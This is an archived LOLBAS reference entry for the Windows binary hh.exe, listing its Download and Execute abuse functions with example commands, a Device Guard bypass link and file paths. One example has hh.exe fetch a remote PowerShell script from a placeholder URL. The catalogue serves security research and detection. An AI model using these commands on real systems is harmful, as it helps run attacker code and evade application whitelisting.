Hh.md

UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

hh.exe

• Functions: Download, Execute

HH.exe http://www.google.com      

HH.exe C:\    

HH.exe c:\windows\system32\calc.exe    

HH.exe http://some.url/script.ps1    

Acknowledgements:

• Oddvar Moe - @oddvarmoe

Code sample: *

Resources:

• https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

Full path:

c:\windows\system32\hh.exe
c:\windows\sysWOW64\hh.exe

Notes: